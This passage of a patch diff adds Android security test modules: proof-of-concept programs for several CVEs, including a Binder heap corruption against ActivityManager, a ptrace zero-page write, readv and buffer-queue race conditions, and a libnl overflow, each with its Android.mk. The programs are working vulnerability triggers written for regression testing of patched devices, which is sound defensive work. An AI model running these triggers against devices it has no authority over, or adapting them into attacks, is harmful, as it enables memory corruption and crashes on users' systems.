+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2012-6702
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES += $(TOP)/external/expat/lib/expat.h
+
+LOCAL_SHARED_LIBRARIES := \
+        libc \
+        libexpat \
+        liblog
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/poc.c
new file mode 100644
index 0000000..ab83a0d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2012-6702/poc.c
@@ -0,0 +1,52 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include "expat.h"
+#include <log/log.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+
+#define MAX_SIZE 20
+
+int main(void) {
+  XML_Parser parser;
+  int i;
+  int randomValues[MAX_SIZE];
+  int isDistinctive = 0;
+
+  for (i = 0; i < MAX_SIZE; i++) {
+    parser = XML_ParserCreate("UTF-8");
+    XML_Parse(parser, "", 0, 1);
+    XML_ParserFree(parser);
+    randomValues[i] = rand();
+  }
+
+  for (i = 1; i < MAX_SIZE; i++) {
+    if (randomValues[0] != randomValues[i]) {
+      isDistinctive |= 1;
+    }
+  }
+
+  if (isDistinctive == 0) {
+    //encountered similar values
+    ALOGE("fail: encountered same random values!");
+    return -1;
+  }
+
+  return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.mk
new file mode 100644
index 0000000..e9ffee4
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2014-9803
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/poc.c
new file mode 100644
index 0000000..6ab4633
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/poc.c
@@ -0,0 +1,92 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdlib.h>
+#include <sys/mman.h>
+#include <sys/ptrace.h>
+#include <sys/stat.h>
+#include <unistd.h>
+#include <../includes/common.h>
+
+volatile char *mem = 0;
+
+// child
+int check_zero_page() {
+  char *temp =
+      (char *)mmap(0, 4096, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+  int zeropage = *(int *)temp;
+  munmap(temp, 4096);
+  return zeropage;
+}
+
+// child
+int do_child(int val) {
+  // enable tracing and wait until parent is finished unlocking zero page
+  ptrace(PTRACE_TRACEME, 0, 0, 0);
+  sleep(2);
+
+  mprotect((void *)mem, 4096, PROT_READ | PROT_WRITE);
+
+  // try to corrupt zero page
+  mem[0] = val;
+
+  int zeropage = check_zero_page();
+  return zeropage ? EXIT_VULNERABLE : 0;
+}
+
+// parent
+int do_trace(pid_t child) {
+  int status = 0;
+  sleep(1); // wait until child is set up
+  kill(child, SIGSTOP); // pause child
+  waitpid(child, &status, 0);
+
+  // unlock zero page
+  status = ptrace(PTRACE_PEEKDATA, child, mem, 0);
+
+  // stop tracing so child can continue
+  ptrace(PTRACE_DETACH, child, 0, 0);
+  kill(child, SIGCONT);
+  return status;
+}
+
+int main(void) {
+
+  char value = 0xAA;
+
+  mem = (volatile char *)mmap(0, 4096, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+  mprotect((void *)mem, 4096, PROT_NONE);
+
+  pid_t child = fork();
+
+  if (child == 0) {
+    return do_child(value);
+  } else {
+    do_trace(child);
+  }
+
+  int status = 0;
+  waitpid(child, &status, 0); // wait for child to exit naturally
+  int exit = WEXITSTATUS(status); // get child exit status
+
+  munmap((void *)mem, 4096);
+
+  return exit;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/Android.mk
new file mode 100644
index 0000000..6dd41bd
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2015-1805
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/poc.c
new file mode 100644
index 0000000..c80b5ed
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-1805/poc.c
@@ -0,0 +1,112 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/mman.h>
+#include <sys/types.h>
+#include <sys/uio.h>
+#include <sys/wait.h>
+#include <unistd.h>
+#include "../includes/common.h"
+
+#define BUFS 256
+#define IOV_LEN 16
+#define MAGIC 7
+
+int fd[2];
+struct iovec *iovs = NULL;
+
+void *func_evil(void *data) {
+  munmap((void *)(0x45678000), PAGE_SIZE);
+  mmap((void *)(0x45678000), PAGE_SIZE, PROT_READ | PROT_WRITE,
+       MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
+  return data;
+}
+
+void *func_readv(void *data) {
+  readv(fd[0], iovs, BUFS);
+  return data;
+}
+
+int main() {
+  int ret = -1, i;
+  void *bufs[BUFS];
+  time_t test_started = start_timer();
+  pthread_t thr_evil, thr_readv;
+
+  if (pipe(fd) < 0) {
+    goto __out;
+  }
+  fcntl(fd[0], F_SETFL, O_NONBLOCK);
+  fcntl(fd[1], F_SETFL, O_NONBLOCK);
+
+  iovs = (struct iovec *)malloc(sizeof(bufs) / sizeof(bufs[0]) *
+                                sizeof(struct iovec));
+  if (iovs == NULL) {
+    goto __close_pipe;
+  }
+
+  bufs[MAGIC] = mmap((void *)(0x45678000), PAGE_SIZE, PROT_READ | PROT_WRITE,
+                     MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
+  if (bufs[MAGIC] == MAP_FAILED) {
+    goto __close_pipe;
+  }
+
+  for (size_t i = 0; i < sizeof(bufs) / sizeof(bufs[0]); i++) {
+    if (i == MAGIC) continue;
+    bufs[i] = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
+                   MAP_SHARED | MAP_ANONYMOUS, -1, 0);
+    if (bufs[i] == MAP_FAILED) {
+      goto __free_bufs;
+    }
+
+    iovs[i].iov_base = bufs[i];
+    iovs[i].iov_len = IOV_LEN;
+  }
+
+  iovs[MAGIC - 1].iov_len = IOV_LEN * 10;
+  iovs[MAGIC].iov_base = bufs[MAGIC];
+  iovs[MAGIC].iov_len = IOV_LEN;
+
+  i = 0;
+
+  while (timer_active(test_started)) {
+    write(fd[1], bufs[0], PAGE_SIZE);
+
+    pthread_create(&thr_evil, NULL, func_evil, NULL);
+    pthread_create(&thr_readv, NULL, func_readv, NULL);
+
+    pthread_join(thr_evil, NULL);
+    pthread_join(thr_readv, NULL);
+  }
+
+__free_bufs:
+  for (size_t i = 0; i < sizeof(bufs) / sizeof(bufs[0]); i++) {
+    if (bufs[i]) munmap(bufs[i], PAGE_SIZE);
+  }
+
+__close_pipe:
+  close(fd[0]);
+  close(fd[1]);
+
+__out:
+  return ret;
+
+  return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.mk
new file mode 100644
index 0000000..77de47e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2018 The Android Open Source Project

+#

+# Licensed under the Apache License, Version 2.0 (the "License");

+# you may not use this file except in compliance with the License.

+# You may obtain a copy of the License at

+#

+#      http://www.apache.org/licenses/LICENSE-2.0

+#

+# Unless required by applicable law or agreed to in writing, software

+# distributed under the License is distributed on an "AS IS" BASIS,

+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+# See the License for the specific language governing permissions and

+# limitations under the License.

+

+LOCAL_PATH := $(call my-dir)

+

+include $(CLEAR_VARS)

+LOCAL_MODULE := CVE-2016-2412

+LOCAL_SRC_FILES := poc.cpp

+

+LOCAL_MULTILIB := both

+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32

+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64

+

+LOCAL_SHARED_LIBRARIES := libbinder \

+                          libutils

+

+# Tag this module as a cts test artifact

+LOCAL_COMPATIBILITY_SUITE := cts vts sts

+LOCAL_CTS_TEST_PACKAGE := android.security.cts

+

+LOCAL_ARM_MODE := arm

+LOCAL_CFLAGS += -Wall -Werror

+

+include $(BUILD_CTS_EXECUTABLE)

diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/poc.cpp
new file mode 100644
index 0000000..7e3b067
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2412/poc.cpp
@@ -0,0 +1,99 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+
+#include <binder/IServiceManager.h>
+#include <binder/Parcel.h>
+
+using namespace android;
+typedef enum TRANTYPE { HEAPSPRAY, HEAPCORRUPT, HEAPFENGSHUI } TRANTYPE;
+
+static void writeParcelableHead(Parcel *pData, const char *class_name) {
+  // write key
+  static int count = 1;
+  const int VAL_PARCELABLE = 4;
+  char buffer[16] = {0};
+  snprintf(buffer, 16, "%d", count);
+
+  pData->writeString16(String16((const char *)buffer));
+  pData->writeInt32(VAL_PARCELABLE);
+  pData->writeString16(String16(class_name));
+}
+
+void writeRegion(Parcel *pData) {
+  pData->writeInt32(100); // length of region;
+  pData->writeInt32(
+      0x3fffffff); // runCount, the allocted size will be 0x3fffffff*4+16=0xc
+  pData->writeInt32(0xf); // fBounds
+  pData->writeInt32(0xf); // YSpanCount
+  pData->writeInt32(0xf); // IntervalCount
+
+  char buffer[100];
+  memset(buffer, 0xcc,
+         sizeof(buffer)); // this buffer will be used to corrrupt the heap
+  pData->write(buffer, sizeof(buffer));
+}
+
+static void writeBundle(Parcel *pData, int type) {
+  size_t lengthPos = pData->dataPosition();
+  pData->writeInt32(0xfffff);
+  const int BUNDLE_MAGIC = 0x4C444E42;
+  pData->writeInt32(BUNDLE_MAGIC);
+  size_t startPos = pData->dataPosition();
+
+  if (type == HEAPCORRUPT) {
+    pData->writeInt32(1); // from writeArrayMapInternal,object numbers in bundle
+    writeParcelableHead(pData, "android.graphics.Region");
+    writeRegion(pData);
+  } else { // other than HEAPCORRUPT
+    exit(0);
+  }
+
+  size_t endPos = pData->dataPosition();
+  // Backpatch length
+  pData->setDataPosition(lengthPos);
+  int length = endPos - startPos;
+  pData->writeInt32(length);
+  pData->setDataPosition(endPos);
+}
+
+static void transact(sp<IBinder> &service, TRANTYPE type) {
+  const int CONVERT_TO_TRANSLUCENT_TRANSACTION = 175;
+  Parcel data, reply;
+
+  data.writeInterfaceToken(String16("android.app.IActivityManager"));
+  data.writeStrongBinder(service);
+  data.writeInt32(333);
+  writeBundle(&data, type);
+  service->transact(CONVERT_TO_TRANSLUCENT_TRANSACTION, data, &reply);
+}
+
+int main(__attribute__((unused)) int argc,
+         __attribute__((unused)) char *const argv[]) {
+  sp<IServiceManager> sm = defaultServiceManager();
+  sp<IBinder> service = sm->checkService(String16("activity"));
+  if (service != NULL) {
+    printf("heap corruption\n");
+    transact(service, HEAPCORRUPT);
+  } else {
+    printf("get activitymanger failed\n");
+  }
+  return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/poc.c
index 0c54420..1e3d9c8 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/poc.c
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8427/poc.c
@@ -18,11 +18,11 @@
 #include <sys/stat.h>
 #include <fcntl.h>
 #include <unistd.h>
+#include <sys/ioctl.h>
 #include <sys/syscall.h>
 #include <string.h>
 #include <stdint.h>
 #include <pthread.h>
-#include <linux/ion.h>
 
 #define NVHOST_DBG_GPU_IOCTL_BIND_CHANNEL 0xc0084401ul
 
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
index 94202f6..5d4950a 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
@@ -26,6 +26,7 @@
 #include <sys/stat.h>
 #include <sys/types.h>
 #include <unistd.h>
+#include "../includes/common.h"
 
 #define THREAD_NUM 600
 #define DEV "/dev/kgsl-3d0"
@@ -124,39 +125,46 @@
 
 void* child_ioctl_0(void* no_use) {
   int ret = 1;
+  time_t test_started = start_timer();
   struct kgsl_drawctxt_destroy kdd = {0};
   kdd.drawctxt_id = kgsl_id;
   set_affinity(1);
 
-  while (1) {
+  while (timer_active(test_started)) {
     ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
   }
+  return NULL;
 }
 
 void* child_ioctl_1(void* no_use) {
   int ret = 1;
+  time_t test_started = start_timer();
   struct kgsl_drawctxt_destroy kdd = {0};
   kdd.drawctxt_id = kgsl_id;
   set_affinity(2);
 
-  while (1) {
+  while (timer_active(test_started)) {
     ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
   }
+  return NULL;
 }
 
 void* child_ioctl_2(void* no_use) {
   int ret = 1;
+  time_t test_started = start_timer();
   struct kgsl_drawctxt_create kdc = {0, 0};
   kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
   set_affinity(3);
-  while (1) {
+  while (timer_active(test_started)) {
     ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &kdc);
     kgsl_id = kdc.drawctxt_id;
   }
+  return NULL;
 }
 
 int main() {
   int i, ret;
+  time_t test_started = start_timer();
   struct kgsl_drawctxt_create kdc = {0, 0};
   kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
   struct kgsl_drawctxt_destroy kdd = {0};
@@ -179,8 +187,12 @@
         pthread_create(thread_id + i + 2, NULL, child_ioctl_2, NULL);
   }
 
-  while (1) {
+  while (timer_active(test_started)) {
     ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &kdc);
     kgsl_id = kdc.drawctxt_id;
   }
+
+  close(fd);
+
+  return 0;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.mk
new file mode 100755
index 0000000..258944f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0386
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES := external/libnl/include
+
+LOCAL_SHARED_LIBRARIES := \
+    libnl \
+    libc \
+    liblog \
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/poc.c
new file mode 100755
index 0000000..90f3238
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0386/poc.c
@@ -0,0 +1,100 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#define LOG_TAG "CVE-2017-0386"
+
+#include <sys/wait.h>
+#include <sys/types.h>
+#include <stdio.h>
+#include <log/log.h>
+#include <netlink/msg.h>
+#include <netlink/netlink.h>
+#include <netlink-private/object-api.h>
+#include <netlink-private/types.h>
+#include <netlink/object.h>
+#include <netlink/attr.h>
+
+#include "../includes/common.h"
+
+int main(void) {
+  struct nl_msg *message = NULL;
+  struct nlmsghdr *hdr;
+  char *data = NULL;
+  uint32_t result = 0;
+  int ret = EXIT_SUCCESS;
+  int pagesize = getpagesize();
+  size_t payloadlength = pagesize + 12 - 0x30;
+  size_t payload2length = pagesize;
+
+  message = nlmsg_alloc();
+  if (message == NULL) {
+    ALOGE("Alloc message memory failed");
+    return EXIT_FAILURE;
+  }
+
+  ALOGI("nl_msg.nm_size : %zx\n", message->nm_size);
+  hdr = message->nm_nlh;
+
+  //allocate memory for data with payloadlength
+  data = malloc(payloadlength);
+  if (data == NULL) {
+    ALOGE("Alloc data memory failed");
+    nlmsg_free(message);
+    return EXIT_FAILURE;
+  }
+
+  memset(data, 0x41, payloadlength);
+  nla_put(message, 0x4444, payloadlength, data);
+  result = hdr->nlmsg_len;
+  ALOGI("message address [%p, %p]", hdr, nlmsg_tail(hdr));
+  ALOGI("message len = 0x%x", result);
+
+  free(data);
+  data = NULL;
+
+  //allocate memory for data with payload2length
+  data = malloc(payload2length);
+  if (data == NULL) {
+    ALOGE("Alloc data2 memory failed");
+    nlmsg_free(message);
+    return EXIT_FAILURE;
+  }
+  memset(data, 0x33, payload2length);
+  ALOGI("\n\n\nPutting down overflow.......\n\n\n");
+  nla_put(message, 0x8888, 0xFFFFF000, data);
+
+  ALOGI("message address [%p, %p]", hdr, nlmsg_tail(hdr));
+  ALOGI("message len = 0x%x", hdr->nlmsg_len);
+
+  /*
+   * return 113 error code if length is mismatch
+   */
+  if(result != hdr->nlmsg_len) {
+    ret = EXIT_VULNERABLE;
+  }
+
+  if(!data) {
+    free(data);
+    data = NULL;
+  }
+
+  if(!message) {
+    nlmsg_free(message);
+    message = NULL;
+  }
+  return ret;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/Android.mk
new file mode 100644
index 0000000..e3884e6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/Android.mk
@@ -0,0 +1,40 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0415
+LOCAL_SRC_FILES := poc.cpp
+
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := libutils \
+                          libui \
+                          libgui \
+                          libmedia
+
+LOCAL_C_INCLUDES:= \
+        $(TOP)/frameworks/native/include/media/openmax
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/poc.cpp
new file mode 100644
index 0000000..37e3ca7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/poc.cpp
@@ -0,0 +1,74 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <gui/BufferQueue.h>
+#include <gui/IGraphicBufferProducer.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <ui/Fence.h>
+#include <utils/String8.h>
+
+using namespace android;
+
+#define MAX_TRY 5000  // based on experiments
+volatile int quit = 1;
+
+static void *start2(void *args) {
+  sp<IGraphicBufferProducer> bufferProducer =
+      *(sp<IGraphicBufferProducer> *)args;
+
+  /*
+   * It will end when ever the main thread exits due to
+   * two conditions.
+   * 1. count value reaches less than 0
+   * 2. Transact failed
+   */
+  while (quit) {
+    int buffer;
+    sp<Fence> fence;
+    bufferProducer->dequeueBuffer(&buffer, &fence, 800, 600, 1, 0, nullptr,
+                                  nullptr);
+  }
+  return NULL;
+}
+
+int main(__attribute__((unused)) int argc,
+         __attribute__((unused)) char *const argv[]) {
+  int count = MAX_TRY;
+  int result = EXIT_SUCCESS;
+  sp<IGraphicBufferProducer> bufferProducer = NULL;
+  sp<IGraphicBufferConsumer> bufferConsumer = NULL;
+
+  pthread_t thread;
+  pthread_create(&thread, NULL, start2, &bufferProducer);
+
+  while (quit) {
+    bufferConsumer->setConsumerName(String8("dddddddddddddddd"));
+    String8 str = bufferProducer->getConsumerName();
+    if (count < 0) {
+      quit = 0;
+    }
+    if (!strcmp("TransactFailed", str.string())) {
+      result = EXIT_FAILURE;
+      quit = 0;
+    }
+    count--;
+  }
+  pthread_join(thread, NULL);
+
+  return result;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.mk
new file mode 100644
index 0000000..498e85f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#  	http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0477
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS = -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/poc.c
new file mode 100644
index 0000000..5a7baa7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/poc.c
@@ -0,0 +1,63 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
